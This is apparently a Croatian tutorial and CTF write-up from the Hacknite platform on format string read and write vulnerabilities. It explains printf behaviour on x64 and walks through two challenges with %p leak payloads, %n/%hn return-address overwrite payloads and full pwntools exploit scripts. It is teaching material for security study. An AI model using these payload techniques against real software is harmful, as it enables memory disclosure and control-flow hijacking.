====String format read/write====
Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama.
Uzmimo naprimjer funkciju printf:
printf("Hello %s, nice to meet you!", username);
%s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat. Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p …) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. Npr.
printf("%s %s\n", first_name, last_name)
mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio.
Ranjivost:
Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana
funkcija ne može razaznati radi li se o grešci ili ne zbog čega uzima argumente registara sačuvane na stogu ispod base pointera ili sa stoga iznad base pointera
(argumenti 7 itd...) kako bi popunila zadane formate.
Primjer:
printf(„%p %p”);
Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, sami format string je sadržan unutar 1. argumenta)
u formatu pointera:
printf(format); //gdje je format definiran kao char *format = „%p %p”
Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera.
X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom: rdi, rsi, rdx, rcx, r8, r9 zatim stog (ako je potrebno više od 6 argumenata) prije poziva.
Unutar funkcije registri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli.
Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa.
Maksimalan broj argumenata koje registri mogu sadržavati jest 6.
RDI (prvi registar) sadrži sami format stringa („%p.%p....”).
To znači da ako se unese veći broj formata od 5, formatirana funkcija uzme 5 argumenata iz preostalih pozicija u memoriji namijenjene za argumente te ostale
argumente sa stoga koji prethode base pointeru.
====Kupon====
===Opis zadatka:===
[[https://platforma.hacknite.hr/challenges#Kupon-115]]
Jakov je napravio program za rezervaciju mjesta u svom restoranu. U programu je zapisao i kupon kod za besplatnu večeru. Jakov tvrdi da je trenutno nemoguće doći do njega, ali ako uspiješ smiješ ga iskoristiti.
Spoji se na program uz pomoć naredbe telnet (ako koristiš Windows) ili naredbe netcat (ako koristiš Linux):
telnet chal.platforma.hacknite.hr 12012
netcat chal.platforma.hacknite.hr 12012
===Rješenje:===
Na liniji koja sadrži:
printf(input)
nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć
string format reada. Zbog poretka definiranja varijabli kupon pa input, na samom stogu će na nižoj adresi biti polje kupon, a zatim polje input (ovo ponekad nije istina
zbog optimizacije stoga, no u ovom slučaju poredak je sačuvan, za provjeru uvijek je moguće ručno pregledati stog uz pomoć gdb-a).
To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljenje return adrese te nove funkcije. Ta područja su u x64 calling konvenciji
namijenjena argumentima 7 pa nadalje. Dakle, ako u polje input upišemo //%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p// prvih 5 //%p// će ispisati memorije unutar printf funkcije namijenjene
za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova).
Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon.
-----
Napomena 1:
Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega
je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) "proguta" 0 u ispisu pointera.
Recimo da je ispis nekog pointer 0xa414141. Provlačenjem kroz konverter konvertirale bi se vrijednosti \xa4 \x14 \x14 \x10 što nije ispravno. Potrebno je nadodati 0 na početak danog
pointera kako bi se ispisale ispravne vrijednosti: \x0a \x41 \x41 \x41.
Primjer lokalnog ispisa rješenja:
{{kupon.png}}
==== Primjer - Zadatak s Hacknite platforme - Format====
Formatirani stringovi su česta pojava u programima. Znate li dovoljno o njima?
Spojite se na online servis naredbom
nc chal.platforma.hacknite.hr 13018 ako koristite Linux odnosno telnet chal.platforma.hacknite.hr 13018 ako koristite Windows
Hint: uploadali smo dio exploit koda koji vam daje return adresu funkciju
Pregledom koda možemo vidjeti da funkcija //main// sadrži ranjive pozive funkcije printf.
printf("Primjer 1) 523\n");
fgets(buf,sizeof(buf),stdin);
printf(buf,523);
printf("Primjer 2) \"Volim formatiranje\"\n");
fgets(buf,sizeof(buf),stdin);
printf(buf,"Volim formatiranje");
printf("Primjer 3) \'c\'\n");
fgets(buf,sizeof(buf),stdin);
printf(buf,'c');
Nakon upisa unosa u buffer ispisuje se formatirana vrijednost te se postupak ponavlja
tri puta.
Također, očito je da je cilj zadatka pozvati funkciju getFlag().
void getFlag(){
int fd = open("./flag.txt",0,0);
char buf[100];
int r = read(fd,buf,sizeof(buf));
write(1,buf,r);
}
Plan rješavanja zadatka je sljedeći:
1) //Format string read// napadom dobiti adresu koja se nalazi na stogu (engl. stack)
2) Pomoću adrese dobivene //format string read// napadom izračunati adresu na stogu koja pohranjuje //return// adresu
3) //Format string write// napadom zamijeniti //return// adresu adresom //getFlag// funkcije
Kako bi sastavili //payload// za //format string read// napad, koristit ćemo [[gdb|gdb]] uz [[https://github.com/hugsy/gef|GEF ekstenziju]] (može se koristiti i pwndbg ili neka druga ekstenzija koja poboljšava funkcionalnosti gdb-a kako bi se olakšalo pisanje exploita, ali treba pripaziti na razlike u sintaksi naredbi tih ekstenzija).
Prvo moramo postaviti //breakpoint// na prvi ranjivi poziv funkcije //printf// , a zatim pokrenuti program.
Nakon toga naredbom //telescope -l 25// možemo dobiti prvih 25 vrijednosti na stogu. Cilj nam je pronaći vrijednost na stogu koja je zapravo adresa neke druge vrijednosti na stogu.
Takve vrijednosti su u ispisu naredbe telescope označene ljubičastom bojom, alternativno možemo potvrditi da je adresa unutar raspona vrijednosti stoga pomoću "vmmap" naredbe.
{{stackleak.png}}
Vrijednosti sa stoga se mogu dohvaćati pomoću format string argumenta //%p//, a umjesto ponavljanja vrijednosti //%p// mnogo puta dok ne dobijemo željenu vrijednost, možemo koristiti sintaksu //%X$P// gdje je //X// offset argumenta na stogu kojeg želimo dohvatiti.
Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom.
Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednost krenu uzimati s vrha stoga.
Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp).
Zatim je potrebno izmijeniti return adresu kako bi se skočilo na adresu getFlag funkcije.
Funkcija //printf// nudi funkcionalnost pisanja pomoću %n //placeholdera//. Placeholder "%n" kaže //printf// funkciji da zapiše broj znakova koji su se ispisali u tom //printf// pozivu na adresu argumenta.
Pomoću placeholdera //%n// se može upisati integer vrijednost (4 bajta), a pomoću placeholdera //%hn// short vrijednost (2 bajta).
Primjerice poziv printf("test%n", &val); bi zapisao broj 4 u varijablu val zato što je printf ispisao 4 znaka do //placeholdera// %n.
U zadatku moramo napisati payload koji će zapisati adresu //get_flag// funkcije (0x00000000004011f6 - dobiveno pregledom memorije) na pohranjenu //return// adresu.
Budući da pomoću "%n" možemo zapisati 4 bajta, a adresa se sastoji od 8 bajtova, ne može se zapisati cijela odjednom. Nadalje, praktično je podijeliti adrese na manje dijelove koji se mogu zapisivati pomoću placeholdera "%hn" (lakše je ispisati 0x40 znakova pa 0x11f6 znakova nego ispisati 0x4011f6 znakova).
Podijelimo 0x00000000004011f6 na dijelove:
00000000 -> mora se zapisati na stack_return_addr+4 (return adrese su pohranjene u little-endian formatu, a stack raste prema nižim adresama) -> lako ga je zapisati pomoću "%n" placeholdera budući da je to samo 0 u integer zapisu
0040 -> mora se zapisati na stack_return_addr+2, pomoću "%hn" placeholdera
11f6 - mora se zapisati na stack_return_addr, pomoću "%hn" placeholdera
Sastavimo za početak u pythonu samo payload za zapisivanje 00000000 na p64(stack_return_addr+4) - p64 je funkcija iz biblioteke //pwntools// za pretvaranje integera u format little-endian 64-bitne adrese.
"%10$n"+("a"*27)+p64(stack_return_addr + 4)
%10$n znači - upiši broj znakova koji se do sad ispisao u ovom printf pozivu (nula) u integer formatu na adresu koja je deseti argument funkcije printf
Koji je deseti argument funkcije printf? Prvih pet argumenata su pohranjeni u registrima, dok se ostali uzimaju sa stoga. Sam payload string će se nalaziti na stogu, //%10$n// zajedno s 27 znakova "a" je 32 bajta, "%n" uzima 8-bajtne (64-bitne), pa se tako "%10$n" i 27 znaka "a" mogu interpretirati kao 6-9. argument funkcije //printf//. Nakon tog slijedi adresa koja će se interpretirati kao 10. argument i na koju će se zapisati vrijednost.
Sada bismo trebali zapisati vrijednost "0x40" na p64(stack_ret_addr + 2). Kako bi to postigli, funkcija //printf// mora ispisati 0x40 (64) znakova. To možemo učiniti placeholderom "%64x" što ispisuje hex vrijednost popunjenu razmacima tako da joj je duljina 64.
Naš payload bi postao "%10$n%64x%11$hn"+("a"*15)+p64(stack_ret_addr+4)+p64(stack_ret_addr+2)
Zatim je potrebno upisati 0x11f6 na p64(stack_ret_addr). Kako bi to postigli funkcija //printf// mora ispisati ukupno 0x11f6 (4598) znakova. Već su ispisana 64 znaka, pa moramo ispisati još 4534, što možemo učiniti placeholderom "%4534x".
Tako naš payload postaje:
"%10$n%64x%11$hn%4534x%12$hnaaaaa" + p64(stack_ret_addr+4) + p64(stack_ret_addr+2) + p64(stack_ret_addr).
Payload kojim možemo overwriteati return adresu s adresom //get_flag// funkcije (0x00000000004011f6 - dobiveno pregledom memorije) jest
"%10$n%64x%11$hn%4534x%12$hnaaaaa" + p64(stack_ret_addr+4) + p64(stack_ret_addr+2) + p64(stack_ret_addr).
Exploit kod
from pwn import *
p = remote("chal.platforma.hacknite.hr",13018)
p.recvuntil(b"Primjer 1) 523\n")
offset = 0x110 #dobiveno pregledom memorije
payload1 = b"%25$p" #payload za dobivanje pohranjene return adrese
p.sendline(payload1)
stack_ret_addr = int(re.findall(b"0x.*",p.recvline())[0],16)-offset
#0x00000000004011f6 - adresa getFlag - dobiveno pregledom memorije, binary nije position-independent executable pa će ova vrijednost uvijek biti ista
payload2 = b"%10$n%64x%11$hn%4534x%12$hnaaaaa" + p64(stack_ret_addr+4) + p64(stack_ret_addr+2) + p64(stack_ret_addr)
p.sendline(payload2)
p.sendline(b"%c")
print(p.recvall())
===Pwntools===
{{pwntools_fmt_str.png}}
Automatiziranje exploita se može postići uz pomoć pwntoolsa. Iako postoje 2 načina automatiziranja (jedan s FmtStr objektom, a drugi s fmtstr_payload funkcijom), ovdje će se proći samo jedan povezan s generiranjem payloada uz pomoć fmtstr_payload funkcije.
Funkcija fmtstr_payload kao argumente prima offset do prvog kontroliranog argumenta printf funkcije i dictonary u obliku {adresa:vrijednost}.
from pwn import *
context.arch="amd64"
p = process("./format")
ret_addr = 0x4011f6
p.recvuntil(b"Primjer 1) 523\n")
p.sendline(b"%25$p")
stack_ret_addr = int(re.findall(b"0x.*",p.recvline())[0],16)-0x110
payload = fmtstr_payload(6,{stack_ret_addr:ret_addr})
p.sendline(payload)
p.sendline(b"%c")
print(p.recvall())
U odnosu na prijašnji eksploit, sve je identično osim generiranja samog payloada.
Napomena:
Argument offseta fmtstr_payload funkcije jest 6 zato što je 6. argument prvi argument na stacku.
Prvih 5 se nalazi u registru i napadač nema kontrolu nad njima.
Fmtstr_payload funkciji se može zadati još dodatnih argumenata koji su korisni pri eksploataciji... Više se može pročitati [[https://docs.pwntools.com/en/dev/fmtstr.html|ovdje]].